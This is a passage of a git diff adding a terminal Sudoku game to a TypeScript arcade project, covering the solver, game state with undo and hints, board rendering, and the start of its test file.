1) if (mask & bit(digit)) digits.push(digit); + for (const digit of rng.shuffle(digits)) { + const b = bit(digit); + grid[cell] = digit; rows[row(cell)]! |= b; cols[column(cell)]! |= b; boxes[box(cell)]! |= b; + if (fill(cell + 1)) return true; + rows[row(cell)]! &= ~b; cols[column(cell)]! &= ~b; boxes[box(cell)]! &= ~b; grid[cell] = 0; + } + return false; + }; + fill(0); + return grid; +} + +export interface Single { + cell: number; + digit: number; + /** naked: the only digit the cell can hold; hidden: the only cell in a unit that can hold the digit. */ + kind: 'naked' | 'hidden'; + /** For a hidden single, the unit (0..26) that forces it. */ + unit?: number; +} + +/** The first naked (or, with `hidden`, hidden) single of a grid, scanning cells in order; naked ones come first. */ +export function findSingle(grid: Grid, hidden = true): Single | undefined { + for (let cell = 0; cell < CELLS; cell += 1) { + if (grid[cell]) continue; + const mask = candidates(grid, cell); + if (popcount(mask) === 1) return {cell, digit: lowestDigit(mask), kind: 'naked'}; + } + if (!hidden) return undefined; + for (let unit = 0; unit < 27; unit += 1) { + for (let digit = 1; digit <= 9; digit += 1) { + let place = -1; + let count = 0; + let present = false; + for (const cell of UNITS[unit]!) { + if (grid[cell] === digit) { present = true; break; } + if (!grid[cell] && candidates(grid, cell) & bit(digit)) { place = cell; count += 1; } + } + if (!present && count === 1) return {cell: place, digit, kind: 'hidden', unit}; + } + } + return undefined; +} + +export interface SingleSolve { solved: boolean; steps: number; hiddenSteps: number } + +/** Solve with singles only (the "human" techniques the generator grades by). A solved result implies a unique solution. */ +export function solveBySingles(input: Grid, hidden: boolean): SingleSolve { + const grid = Uint8Array.from(input); + let steps = 0; + let hiddenSteps = 0; + for (;;) { + const single = findSingle(grid, hidden); + if (!single) break; + grid[single.cell] = single.digit; + steps += 1; + if (single.kind === 'hidden') hiddenSteps += 1; + } + return {solved: !grid.includes(0), steps, hiddenSteps}; +} diff --git a/src/arcade/games/sudoku/state.ts b/src/arcade/games/sudoku/state.ts new file mode 100644 index 00000000..94590967 --- /dev/null +++ b/src/arcade/games/sudoku/state.ts @@ -0,0 +1,206 @@ +import type {Difficulty} from './generator.js'; +import {ALL, CELLS, PEERS, UNITS, bit, candidates, column, conflicting, findSingle, isSolved, popcount, row, unitsOf, type Grid} from './solver.js'; + +/** One undoable step: every cell it touched, before and after. A hint and a digit that clears peer notes are one step. */ +export interface Change { cell: number; value0: number; notes0: number; value1: number; notes1: number } +export interface Action { changes: Change[]; cursor0: number; cursor1: number } + +const HISTORY_LIMIT = 500; +const UNIT_NAMES = ['row', 'column', 'box'] as const; + +export interface HintResult { cell: number; digit: number; message: string } + +/** Everything `persist()` writes for an unfinished puzzle (see record.ts for the validated form). */ +export interface Saved { difficulty: Difficulty; puzzle: string; solution: string; entries: string; notes: number[]; elapsedMs: number; hints: number } + +/** + * The rules and the person's progress, without any drawing or clock. `puzzle` (the clues) and `solution` are copies + * made at construction and are never written again: entries, notes, hints and undo only ever touch `entries`/`notes`. + */ +export class SudokuState { + readonly puzzle: Grid; + readonly solution: Grid; + /** The person's digits only (0 on clues and empty cells). */ + readonly entries: Grid = new Uint8Array(CELLS); + /** Pencil marks as 9-bit masks (bit 0 = digit 1). */ + readonly notes: Uint16Array = new Uint16Array(CELLS); + /** Clues and entries together, kept in step with `entries`. */ + readonly grid: Grid; + cursor = 40; + notesMode = false; + hints = 0; + elapsedMs = 0; + private undoStack: Action[] = []; + private redoStack: Action[] = []; + + constructor(readonly difficulty: Difficulty, puzzle: Grid, solution: Grid) { + this.puzzle = Uint8Array.from(puzzle); + this.solution = Uint8Array.from(solution); + this.grid = Uint8Array.from(puzzle); + } + + static fromSaved(saved: Saved): SudokuState { + const state = new SudokuState(saved.difficulty, Uint8Array.from(saved.puzzle, Number), Uint8Array.from(saved.solution, Number)); + for (let cell = 0; cell < CELLS; cell += 1) { + const digit = Number(saved.entries[cell]); + state.entries[cell] = digit; + state.grid[cell] = state.puzzle[cell] || digit; + state.notes[cell] = digit ? 0 : saved.notes[cell]! & ALL; + } + state.hints = saved.hints; + state.elapsedMs = saved.elapsedMs; + state.cursor = Math.max(0, state.grid.indexOf(0)); + return state; + } + + toSaved(): Saved { + return { + difficulty: this.difficulty, puzzle: this.puzzle.join(''), solution: this.solution.join(''), entries: this.entries.join(''), + notes: Array.from(this.notes), elapsedMs: Math.floor(this.elapsedMs), hints: this.hints, + }; + } + + isClue(cell: number): boolean { return this.puzzle[cell] !== 0; } + get canUndo(): boolean { return this.undoStack.length > 0; } + get canRedo(): boolean { return this.redoStack.length > 0; } + get started(): boolean { return this.undoStack.length > 0 || this.elapsedMs > 0; } + get solved(): boolean { return isSolved(this.grid); } + conflicts(): boolean[] { return conflicting(this.grid); } + + /** How many of each digit are on the board (clues and entries), index 1..9. */ + counts(): number[] { + const counts = new Array(10).fill(0); + for (const digit of this.grid) counts[digit] = counts[digit]! + 1; + return counts; + } + + moveTo(cell: number): void { this.cursor = Math.max(0, Math.min(CELLS - 1, cell)); } + move(dRow: number, dColumn: number): void { + this.cursor = Math.max(0, Math.min(8, row(this.cursor) + dRow)) * 9 + Math.max(0, Math.min(8, column(this.cursor) + dColumn)); + } + + // ---- edits -------------------------------------------------------------------------------------------------- + + /** Number key: a digit in the cursor cell, or a pencil mark in notes mode. Returns whether anything changed. */ + enter(digit: number): boolean { + const cell = this.cursor; + if (digit < 1 || digit > 9 || this.isClue(cell)) return false; + if (this.notesMode) { + if (this.grid[cell]) return false; + return this.apply([{cell, value0: 0, notes0: this.notes[cell]!, value1: 0, notes1: this.notes[cell]! ^ bit(digit)}]); + } + if (this.grid[cell] === digit) return false; + return this.apply(this.placement(cell, digit)); + } + + /** Erase the cursor cell's digit, or its notes when it has no digit. Clues are never erased. */ + erase(): boolean { + const cell = this.cursor; + if (this.isClue(cell)) return false; + if (this.entries[cell]) return this.apply([{cell, value0: this.entries[cell]!, notes0: 0, value1: 0, notes1: 0}]); + if (this.notes[cell]) return this.apply([{cell, value0: 0, notes0: this.notes[cell]!, value1: 0, notes1: 0}]); + return false; + } + + /** The change list for placing `digit`: the cell itself, and the same digit struck from its peers' notes. */ + private placement(cell: number, digit: number): Change[] { + const changes: Change[] = [{cell, value0: this.entries[cell]!, notes0: this.notes[cell]!, value1: digit, notes1: 0}]; + for (const peer of PEERS[cell]!) { + if (this.notes[peer]! & bit(digit)) changes.push({cell: peer, value0: this.entries[peer]!, notes0: this.notes[peer]!, value1: this.entries[peer]!, notes1: this.notes[peer]! & ~bit(digit)}); + } + return changes; + } + + private apply(changes: Change[], cursor1 = this.cursor): boolean { + const action: Action = {changes, cursor0: this.cursor, cursor1}; + this.run(action, true); + this.undoStack.push(action); + if (this.undoStack.length > HISTORY_LIMIT) this.undoStack.shift(); + this.redoStack = []; + return true; + } + + private run(action: Action, forward: boolean): void { + for (const change of forward ? action.changes : [...action.changes].reverse()) { + const value = forward ? change.value1 : change.value0; + this.entries[change.cell] = value; + this.grid[change.cell] = this.puzzle[change.cell] || value; + this.notes[change.cell] = forward ? change.notes1 : change.notes0; + } + this.cursor = forward ? action.cursor1 : action.cursor0; + } + + undo(): boolean { + const action = this.undoStack.pop(); + if (!action) return false; + this.run(action, false); + this.redoStack.push(action); + return true; + } + + redo(): boolean { + const action = this.redoStack.pop(); + if (!action) return false; + this.run(action, true); + this.undoStack.push(action); + return true; + } + + /** Back to the clues: entries, notes, hints and the clock, with history cleared. */ + restart(): void { + this.entries.fill(0); + this.notes.fill(0); + this.grid.set(this.puzzle); + this.undoStack = []; + this.redoStack = []; + this.hints = 0; + this.elapsedMs = 0; + this.cursor = Math.max(0, this.puzzle.indexOf(0)); + this.notesMode = false; + } + + // ---- hints -------------------------------------------------------------------------------------------------- + + /** The digits the person has right so far, as a grid: clues plus entries that match the solution. */ + private known(): Grid { + const known = Uint8Array.from(this.puzzle); + for (let cell = 0; cell < CELLS; cell += 1) if (this.entries[cell] === this.solution[cell]) known[cell] = this.entries[cell]!; + return known; + } + + private open(cell: number): boolean { return !this.isClue(cell) && this.grid[cell] !== this.solution[cell]; } + + /** + * A hint: fills one cell with its correct digit and says why. It uses the cursor cell when that cell is wrong or + * empty; otherwise it moves to the next cell a naked or hidden single settles, falling back to the first open cell. + * It is one undo step, counts once, and writes only `entries`/`notes` (never the clues or the stored solution). + */ + hint(): HintResult | undefined { + const known = this.known(); + let cell = this.open(this.cursor) ? this.cursor : -1; + if (cell < 0) { + const single = findSingle(known, true); + if (single && this.open(single.cell)) cell = single.cell; + } + if (cell < 0) for (let index = 0; index < CELLS && cell < 0; index += 1) if (this.open(index) && this.entries[index] !== this.solution[index]) cell = index; + if (cell < 0) return undefined; + const digit = this.solution[cell]!; + const changes = this.placement(cell, digit); + this.apply(changes, cell); + this.hints += 1; + return {cell, digit, message: `R${row(cell) + 1}C${column(cell) + 1} is ${digit}: ${this.explain(known, cell, digit)}`}; + } + + private explain(known: Grid, cell: number, digit: number): string { + if (popcount(candidates(known, cell)) === 1) return `only ${digit} fits this cell`; + const units = unitsOf(cell); + for (let index = 0; index < 3; index += 1) { + const spots = UNITS[units[index]!]!.filter(other => !known[other] && candidates(known, other) & bit(digit)); + if (spots.length === 1 && !UNITS[units[index]!]!.some(other => known[other] === digit)) return `the only ${digit} left in its ${UNIT_NAMES[index]}`; + } + return `the solution has ${digit} here`; + } + + /** Whether the grid still matches the solution everywhere it is filled (used by tests; the game never shows it). */ + consistent(): boolean { return this.grid.every((digit, cell) => !digit || digit === this.solution[cell]); } +} diff --git a/src/arcade/games/sudoku/view.ts b/src/arcade/games/sudoku/view.ts new file mode 100644 index 00000000..462e9b60 --- /dev/null +++ b/src/arcade/games/sudoku/view.ts @@ -0,0 +1,294 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import {CAT_ASCII, catPixels} from '../../../idle/catSprite.js'; +import {GLYPHS} from '../../../ui/glyphs.js'; +import {typeset} from '../../../ui/typography.js'; +import {displayWidth, truncateText} from '../../../util/text.js'; +import {PixelBuffer, spriteFromRows, type Canvas, type Style} from '../../Canvas.js'; +import {Menu} from '../../menu.js'; +import type {ArcadePalette} from '../../palette.js'; +import {DIFFICULTY_LABEL} from './generator.js'; +import {layoutFor, MIN_COLUMNS, MIN_ROWS, type Layout} from './layout.js'; +import {formatTime} from './record.js'; +import {box, column, row, unitComplete, UNITS, type Grid} from './solver.js'; +import type {SudokuState} from './state.js'; + +/** Everything the board drawing reads. The game owns it; drawing never changes the game. */ +export interface BoardView { + state: SudokuState; + /** Hide the digits (paused), so a pause cannot be used to think. */ + hidden: boolean; + color: boolean; + safe: boolean; + /** Milliseconds left in the entry animation of each cell. */ + pop: ArrayLike; + /** 0..1 soft highlight of a just-completed row, column or box (index 0..26). */ + glow: ArrayLike; + message: string; + messageTone: 'info' | 'good' | 'warn'; + celebration: {heading: string; detail: string} | undefined; +} + +export const POP_MS = 220; + +export function needsText(): string { return `Needs at least ${MIN_COLUMNS}x${MIN_ROWS}`; } + +// ---- lines ---------------------------------------------------------------------------------------------------- + +type Arm = 0 | 1 | 2; +const LIGHT: Record = {ud: '│', lr: '─', dr: '┌', dl: '┐', ur: '└', ul: '┘', udr: '├', udl: '┤', dlr: '┬', ulr: '┴', udlr: '┼', u: '│', d: '│', l: '─', r: '─'}; +const HEAVY: Record = {ud: '┃', lr: '━', dr: '┏', dl: '┓', ur: '┗', ul: '┛', udr: '┣', udl: '┫', dlr: '┳', ulr: '┻', udlr: '╋', u: '┃', d: '┃', l: '━', r: '━'}; +const MIXED: Record = {'udr:21': '┠', 'udr:12': '┝', 'udl:21': '┨', 'udl:12': '┥', 'dlr:21': '┰', 'dlr:12': '┯', 'ulr:21': '┸', 'ulr:12': '┷', 'udlr:21': '╂', 'udlr:12': '┿'}; + +/** A junction of up to four arms (0 none, 1 thin, 2 heavy). Mixed weights use the proper glyph where Unicode has one. */ +function junction(up: Arm, down: Arm, left: Arm, right: Arm, safe: boolean): string { + if (safe) return up || down || left || right ? '+' : ' '; + const key = `${up ? 'u' : ''}${down ? 'd' : ''}${left ? 'l' : ''}${right ? 'r' : ''}`; + const vertical = Math.max(up, down); + const horizontal = Math.max(left, right); + if (vertical && horizontal && vertical !== horizontal) { + const mixed = MIXED[`${key}:${vertical}${horizontal}`]; + if (mixed) return mixed; + } + return (Math.max(vertical, horizontal) === 2 ? HEAVY : LIGHT)[key] ?? '┼'; +} + +function drawLines(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView): void { + const thin: Style = {fg: palette.line, dim: true}; + const heavy: Style = {fg: palette.accentSoft, bold: true}; + const safe = view.safe; + const vertical = (heavyLine: boolean): string => (safe ? (heavyLine ? '#' : ':') : heavyLine ? '┃' : '│'); + const horizontal = (heavyLine: boolean): string => (safe ? (heavyLine ? '=' : '-') : heavyLine ? '━' : '─'); + for (const line of layout.hlines) canvas.hline(layout.x, layout.y + line.at, layout.boardW, horizontal(line.heavy), line.heavy ? heavy : thin); + for (const line of layout.vlines) canvas.vline(layout.x + line.at, layout.y, layout.boardH, vertical(line.heavy), line.heavy ? heavy : thin); + for (const h of layout.hlines) { + for (const v of layout.vlines) { + const vw: Arm = v.heavy ? 2 : 1; + const hw: Arm = h.heavy ? 2 : 1; + const up: Arm = h.at > 0 ? vw : 0; + const down: Arm = h.at < layout.boardH - 1 ? vw : 0; + const left: Arm = v.at > 0 ? hw : 0; + const right: Arm = v.at < layout.boardW - 1 ? hw : 0; + canvas.put(layout.x + v.at, layout.y + h.at, junction(up, down, left, right, safe), h.heavy || v.heavy ? heavy : thin); + } + } +} + +// ---- cells ---------------------------------------------------------------------------------------------------- + +interface Tones { tintA: Rgb; tintB: Rgb; matchFill: number } + +function drawCell(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView, cell: number, conflicts: boolean[], tones: Tones): void { + const {state} = view; + const r = row(cell); + const c = column(cell); + const x = layout.x + layout.xs[c]!; + const y = layout.y + layout.ys[r]!; + const {cw, ch} = layout; + const cursor = state.cursor; + const isCursor = cell === cursor; + const digit = state.grid[cell]!; + const focusDigit = state.grid[cursor]!; + const clue = state.isClue(cell); + let bg = (box(cell) + Math.floor(box(cell) / 3)) % 2 === 0 ? tones.tintA : tones.tintB; + if (!view.hidden) { + if (r === row(cursor) || c === column(cursor) || box(cell) === box(cursor)) bg = mixRgb(bg, palette.accent, 0.12); + if (focusDigit && digit === focusDigit) bg = mixRgb(bg, palette.accent, tones.matchFill); + const glow = Math.max(view.glow[r] ?? 0, view.glow[9 + c] ?? 0, view.glow[18 + box(cell)] ?? 0); + if (glow > 0) bg = mixRgb(bg, palette.ok, 0.28 * glow); + const pop = view.pop[cell] ?? 0; + if (pop > 0) bg = mixRgb(bg, palette.haze, 0.55 * (pop / POP_MS)); + } + let style: Style = {bg}; + if (isCursor && !view.hidden) style = view.color ? {bg: palette.accent, fg: palette.deep, bold: true} : {reverse: true, bold: true}; + canvas.fill(x, y, cw, ch, ' ', style); + if (view.hidden) return; + const middle = y + Math.floor(ch / 2); + const conflict = conflicts[cell]!; + const mark = (xx: number, glyph: string): void => { canvas.put(xx, middle, glyph, isCursor ? {...style, bold: true} : {bg, fg: palette.warn, bold: true}); }; + + if (digit) { + const fg = isCursor && view.color ? palette.deep : conflict ? palette.bad : clue ? palette.ink : palette.accent; + const matched = focusDigit && digit === focusDigit && !isCursor; + const digitStyle: Style = {...style, bg: isCursor ? style.bg : bg, fg: isCursor && !view.color ? undefined : fg, bold: clue || conflict || isCursor || (view.pop[cell] ?? 0) > 0, underline: Boolean(matched), reverse: isCursor && !view.color}; + canvas.put(x + Math.floor((cw - 1) / 2), middle, String(digit), digitStyle); + } else if (state.notes[cell]) { + drawNotes(canvas, layout, palette, view, cell, x, y, bg, isCursor ? style : undefined); + } + if (cw >= 3 && isCursor) { canvas.put(x, middle, '[', style); canvas.put(x + cw - 1, middle, conflict && cw === 3 ? '!' : ']', style); } + if (conflict) { + if (cw >= 5) mark(x + 1, '!'); + else if (cw === 3) { if (!isCursor) mark(x + 2, '!'); } + else mark(x + 1, '!'); + } +} + +function drawNotes(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView, cell: number, x: number, y: number, bg: Rgb, cursorStyle: Style | undefined): void { + const mask = view.state.notes[cell]!; + const base: Style = cursorStyle ?? {bg, fg: palette.muted}; + const style: Style = cursorStyle ? cursorStyle : {...base, dim: true}; + if (layout.ch === 3 && layout.cw >= 5) { + const left = x + Math.floor((layout.cw - 5) / 2); + for (let digit = 1; digit <= 9; digit += 1) { + if (mask & (1 << (digit - 1))) canvas.put(left + ((digit - 1) % 3) * 2, y + Math.floor((digit - 1) / 3), String(digit), style); + } + return; + } + const marks = [...Array(9).keys()].filter(index => mask & (1 << index)); + const middle = y + Math.floor(layout.ch / 2); + if (layout.cw >= 3 && marks.length === 1) canvas.put(x + Math.floor((layout.cw - 1) / 2), middle, String(marks[0]! + 1), {...style, italic: true}); + else canvas.put(x + Math.floor((layout.cw - 1) / 2), middle, view.safe ? '.' : '·', style); +} + +// ---- HUD ------------------------------------------------------------------------------------------------------ + +function remainingLine(view: BoardView, width: number): string { + const counts = view.state.counts(); + const done = view.safe ? '+' : GLYPHS.saved; + if (width >= 35) return [...Array(9).keys()].map(index => `${index + 1}:${counts[index + 1]! >= 9 ? done : 9 - counts[index + 1]!}`).join(' '); + return [...Array(9).keys()].map(index => (counts[index + 1]! >= 9 ? (view.safe ? '.' : '·') : String(index + 1))).join(' '); +} + +function messageStyle(palette: ArcadePalette, tone: BoardView['messageTone']): Style { + return {fg: tone === 'good' ? palette.ok : tone === 'warn' ? palette.warn : palette.muted}; +} + +function conflictText(conflicts: boolean[]): string { + const count = conflicts.reduce((sum, bad) => sum + (bad ? 1 : 0), 0); + return count ? `! ${count} clash${count === 1 ? '' : 'es'}` : 'No clashes'; +} + +function drawTopHud(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView, conflicts: boolean[]): void { + const {state} = view; + const width = canvas.width - layout.hudX; + const time = formatTime(state.elapsedMs / 1000); + const title = typeset({role: 'title', text: 'Sudoku', maxColumns: 12, maxRows: 1}); + canvas.typeBlock(title, layout.hudX, layout.hudY, {fg: palette.ink, bold: true}); + let at = layout.hudX + title.columns + 2; + const put = (text: string, style: Style): void => { if (at + displayWidth(text) <= layout.hudX + width) { canvas.text(at, layout.hudY, text, style); at += displayWidth(text) + 2; } }; + put(DIFFICULTY_LABEL[state.difficulty], {fg: palette.accent, bold: true}); + const clock = typeset({role: 'counter', text: time, maxColumns: 8, maxRows: 1}); + if (at + clock.columns <= layout.hudX + width) { canvas.typeBlock(clock, at, layout.hudY, {fg: palette.ink, bold: true}); at += clock.columns + 2; } + put(`Hints ${state.hints}`, {fg: palette.muted}); + put(state.notesMode ? 'Notes ON' : 'Notes off', state.notesMode ? {fg: palette.accent, bold: true} : {fg: palette.faint}); + if (conflicts.includes(true)) put(conflictText(conflicts), {fg: palette.bad, bold: true}); + const remaining = remainingLine(view, layout.hudW); + const second = layout.messageRow === undefined && view.message ? view.message : remaining; + canvas.text(layout.hudX, layout.hudY + 1, truncateText(second, width), layout.messageRow === undefined && view.message ? messageStyle(palette, view.messageTone) : {fg: palette.muted}); + if (layout.messageRow !== undefined && view.message) canvas.text(layout.hudX, layout.messageRow, truncateText(view.message, width), messageStyle(palette, view.messageTone)); +} + +function drawSideHud(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView, conflicts: boolean[]): void { + const {state} = view; + const x = layout.hudX; + const width = layout.hudW; + let y = layout.hudY; + const roomy = layout.boardH >= 17; + const title = typeset({role: 'title', text: 'Classic Sudoku', maxColumns: width, maxRows: roomy ? 2 : 1}); + canvas.typeBlock(title, x, y, {fg: palette.ink, bold: true}); + y += title.rows; + canvas.text(x, y, DIFFICULTY_LABEL[state.difficulty], {fg: palette.accent, bold: true}); + y += roomy ? 2 : 1; + const clock = typeset({role: 'counter', text: formatTime(state.elapsedMs / 1000), maxColumns: width, maxRows: roomy ? 2 : 1}); + canvas.typeBlock(clock, x, y, {fg: palette.ink, bold: true}); + y += clock.rows + (roomy ? 1 : 0); + canvas.text(x, y, `Hints used ${state.hints}`, {fg: palette.muted}); + canvas.text(x, y + 1, state.notesMode ? 'Notes: ON (n)' : 'Notes: off (n)', state.notesMode ? {fg: palette.accent, bold: true} : {fg: palette.faint}); + const bad = conflicts.includes(true); + canvas.text(x, y + 2, conflictText(conflicts), bad ? {fg: palette.bad, bold: true} : {fg: palette.faint}); + y += roomy ? 4 : 3; + const counts = state.counts(); + const done = view.safe ? '+' : GLYPHS.saved; + canvas.text(x, y, 'Left', {fg: palette.faint}); + for (let digit = 1; digit <= 9; digit += 1) { + const left = counts[digit]! >= 9; + const px = x + (digit - 1) * 2; + canvas.text(px, y + 1, String(digit), {fg: palette.accentSoft, bold: true}); + canvas.text(px, y + 2, left ? done : String(9 - counts[digit]!), left ? {fg: palette.ok} : {fg: palette.ink}); + } + y += 4; + if (view.message) { + const words = view.message.split(' '); + let line = ''; + for (const word of words) { + if (line && displayWidth(line) + 1 + displayWidth(word) > width) { + if (y < layout.hudY + layout.boardH) canvas.text(x, y, line, messageStyle(palette, view.messageTone)); + y += 1; line = word; + } else line = line ? `${line} ${word}` : word; + } + if (line && y < layout.hudY + layout.boardH) canvas.text(x, y, line, messageStyle(palette, view.messageTone)); + } +} + +function drawCelebration(canvas: Canvas, layout: Layout, palette: ArcadePalette, view: BoardView): void { + const celebration = view.celebration!; + const head = typeset({role: 'celebration', text: celebration.heading, maxColumns: Math.max(6, layout.boardW - 4), maxRows: layout.boardH >= 19 ? 2 : 1}); + const rows = head.rows + 1; + const width = Math.min(layout.boardW, Math.max(head.columns, displayWidth(celebration.detail)) + 6); + const left = layout.x + Math.floor((layout.boardW - width) / 2); + const top = layout.y + Math.max(0, Math.floor((layout.boardH - rows - 2) / 2)); + const band = {bg: mixRgb(palette.deep, palette.dusk, 0.5), fg: palette.ink}; + canvas.fill(left, top, width, rows + 2, ' ', band); + canvas.typeBlock(head, left + Math.floor((width - head.columns) / 2), top + 1, {...band, fg: palette.accent, bold: true}); + canvas.center(top + 1 + head.rows, celebration.detail, {...band, fg: palette.muted}, left, width); +} + +/** Draw the playing screen (or the small-canvas note). */ +export function drawPlay(canvas: Canvas, palette: ArcadePalette, view: BoardView): void { + canvas.clear(); + const layout = layoutFor(canvas.width, canvas.height); + if (!layout) { + canvas.center(Math.floor(canvas.height / 2), truncateText(needsText(), canvas.width), {fg: palette.warn}); + return; + } + const conflicts = view.state.conflicts(); + const tones: Tones = { + tintA: mixRgb(palette.deep, palette.accent, 0.06), tintB: mixRgb(palette.deep, palette.accent, 0.16), matchFill: 0.3, + }; + drawLines(canvas, layout, palette, view); + for (let cell = 0; cell < 81; cell += 1) drawCell(canvas, layout, palette, view, cell, conflicts, tones); + if (view.hidden) canvas.center(layout.y + Math.floor(layout.boardH / 2), ' Paused ', {fg: palette.ink, bg: mixRgb(palette.deep, palette.dusk, 0.5), bold: true}, layout.x, layout.boardW); + if (layout.hud === 'side') drawSideHud(canvas, layout, palette, view, conflicts); + else drawTopHud(canvas, layout, palette, view, conflicts); + if (view.celebration && !view.hidden) drawCelebration(canvas, layout, palette, view); +} + +/** Which of the 27 units are complete, for the glow. */ +export function completeUnits(grid: Grid): boolean[] { + return UNITS.map((_, unit) => unitComplete(grid, unit)); +} + +// ---- start menu ----------------------------------------------------------------------------------------------- + +/** The start screen: Vespyr sitting quietly above the title, then the choices. */ +export function drawMenu(canvas: Canvas, palette: ArcadePalette, menu: Menu, view: {color: boolean; safe: boolean; note: string}): void { + canvas.clear(); + const total = menu.items.length; + let y = 0; + const tall = canvas.height >= total + 9; + if (tall) { + if (view.color && !view.safe && canvas.width >= 16) { + const pixels = new PixelBuffer(14, 8); + pixels.sprite(spriteFromRows(catPixels('sit'), {L: palette.cat.body, E: palette.cat.eye}), 0, 0); + canvas.blit(pixels, Math.floor((canvas.width - 14) / 2), y); + y += 4; + } else { + CAT_ASCII.forEach((line, index) => canvas.center(y + index, line, {fg: palette.accentSoft})); + y += 3; + } + y += 1; + } + if (canvas.height >= total + 3) { + const title = typeset({role: 'title', text: 'Classic Sudoku', maxColumns: canvas.width - 2, maxRows: tall && canvas.height >= total + 12 ? 2 : 1}); + canvas.typeBlock(title, Math.floor((canvas.width - title.columns) / 2), y, {fg: palette.ink, bold: true}); + y += title.rows; + canvas.center(y, truncateText(view.note || 'Choose a puzzle', canvas.width - 2), {fg: palette.faint}); + y += 2; + } + const room = Math.max(1, canvas.height - y); + const first = Math.max(0, Math.min(menu.index - Math.floor(room / 2), total - room)); + const window = {items: menu.items.slice(first, first + room), index: menu.index - first}; + const shown = new Menu(window.items); + shown.index = window.index; + shown.draw(canvas, palette, 0, y, canvas.width); +} diff --git a/tests/arcadeSudokuGame.test.ts b/tests/arcadeSudokuGame.test.ts new file mode 100644 index 00000000..ab62fca5 --- /dev/null +++ b/tests/arcadeSudokuGame.test.ts @@ -0,0 +1,460 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync, rmSync} from 'node:fs'; +import {join} from 'node:path'; +import type {Key} from '../src/terminal/keys.js'; +import {Canvas} from '../src/arcade/Canvas.js'; +import {arcadePalette} from '../src/arcade/palette.js'; +import {createRng} from '../src/arcade/rng.js'; +import {ArcadeStore, cleanRecord, type GameRecord, type GameRecordHandle} from '../src/arcade/scores.js'; +import type {GameContext} from '../src/arcade/types.js'; +import {ArcadeSession, type ArcadeEnvironment} from '../src/arcade/ArcadeSession.js'; +import {registryHas} from './support/arcadeSudokuSupport.js'; +import {sudokuGame, type SudokuInstance} from '../src/arcade/games/sudoku/index.js'; +import {layoutFor, MIN_COLUMNS, MIN_ROWS} from '../src/arcade/games/sudoku/layout.js'; +import {gridString} from '../src/arcade/games/sudoku/solver.js'; +import {displayWidth, stripAnsi} from '../src/util/text.js'; + +function memoryRecord(initial: GameRecord = {}): GameRecordHandle & {raw: () => GameRecord} { + let record = initial; + return { + get: () => structuredClone(record), + set: next => { const clean = cleanRecord(next); if (!clean) return false; record = clean; return true; }, + update: change => { const copy = structuredClone(record); change(copy); const clean = cleanRecord(copy); if (!clean) return false; record = clean; return true; }, + raw: () => record, + }; +} + +interface Options { columns?: number; rows?: number; reduced?: boolean; effects?: 'off' | 'subtle' | 'normal' | 'rich'; color?: 'none' | 'truecolor'; safe?: boolean; record?: GameRecordHandle & {raw: () => GameRecord}; seed?: number } + +function setup(options: Options = {}) { + const record = options.record ?? memoryRecord(); + const context: GameContext = { + size: {columns: options.columns ?? 100, rows: options.rows ?? 36}, seed: options.seed ?? 5, rng: createRng(options.seed ?? 5), + motion: {reduced: options.reduced ?? false, effects: options.effects ?? 'normal'}, color: options.color ?? 'none', safeGlyphs: options.safe ?? false, record, now: () => 0, + }; + const game = sudokuGame.create(context) as SudokuInstance; + const canvas = new Canvas(context.size.columns, context.size.rows); + const press = (...keys: string[]) => keys.forEach(value => game.key(value.length === 1 ? {kind: 'text', value} : {kind: value} as Key)); + const draw = () => { game.render(canvas, 0, arcadePalette()); return canvas; }; + return {game, record, canvas, press, draw, context}; +} + +/** Start an easy puzzle from the menu with the keys a person would use. */ +function startEasy(options: Options = {}) { + const s = setup(options); + s.press('1'); + assert.equal(s.game.screen, 'play'); + return s; +} + +function solveAll(s: ReturnType): void { + const state = s.game.state!; + for (let cell = 0; cell < 81; cell += 1) { + if (state.isClue(cell) || state.grid[cell] === state.solution[cell]) continue; + state.moveTo(cell); + s.press(String(state.solution[cell])); + } +} + +test('registry: sudoku keeps its id, alias and title', () => { + assert.equal(sudokuGame.id, 'sudoku'); + assert.deepEqual(sudokuGame.aliases, ['classic-sudoku']); + assert.equal(sudokuGame.title, 'Classic Sudoku'); + assert.equal(sudokuGame.kind, 'puzzle'); + assert.ok(registryHas()); +}); + +test('menu: ready until a puzzle starts; Enter and the number keys start one; q goes back; Esc is left to the host', () => { + const s = setup(); + assert.equal(s.game.status, 'ready'); + assert.equal(s.game.stepsPerSecond, 0); + const text = s.draw().plain().join('\n'); + for (const word of ['Classic Sudoku', 'Easy', 'Medium', 'Hard', 'Expert', 'Back to Arcade']) assert.match(text, new RegExp(word, 'u')); + assert.equal(s.game.key({kind: 'escape'}), 'ignored'); + assert.equal(s.game.key({kind: 'text', value: 'q'}), 'back'); + const t = setup(); + t.press('down', 'enter'); + assert.equal(t.game.state!.difficulty, 'medium'); + const s2 = s; + assert.equal(t.game.status, 'playing'); + assert.equal(t.game.refreshMs, 1000, 'the host repaints the clock once a second'); + assert.ok(t.game.hints().some(hint => hint.keys === 't'), 'the hint key is shown'); + assert.equal(s2.game.screen, 'menu'); +}); + +test('input: movement keys, digits, erase, notes, undo, redo, hint and the immutable clues', () => { + const s = startEasy(); + const state = s.game.state!; + const start = state.cursor; + assert.equal(state.puzzle[start], 0, 'the cursor starts on an open cell'); + s.press('l'); assert.equal(state.cursor % 9 > 0 || start % 9 === 8, true); + s.press('h', 'down'); const afterDown = state.cursor; s.press('k'); assert.equal(state.cursor, afterDown - 9); + s.press('j', 'up', 'left', 'right'); + state.moveTo(start); + s.press('5'); assert.equal(state.grid[start], 5); + s.press('0'); assert.equal(state.grid[start], 0); + s.press('3'); s.press('backspace'); assert.equal(state.grid[start], 0); + s.press('4'); s.press('delete'); assert.equal(state.grid[start], 0); + s.press('n'); assert.ok(state.notesMode); + s.press('1', '2'); assert.equal(state.notes[start], 3); + s.press('n'); s.press('6'); assert.equal(state.notes[start], 0); + s.press('u'); assert.equal(state.grid[start], 0); assert.equal(state.notes[start], 3); + s.press('redo'); assert.equal(state.grid[start], 6); + s.press('u', 'y'); assert.equal(state.grid[start], 6); + const clue = state.puzzle.findIndex(digit => 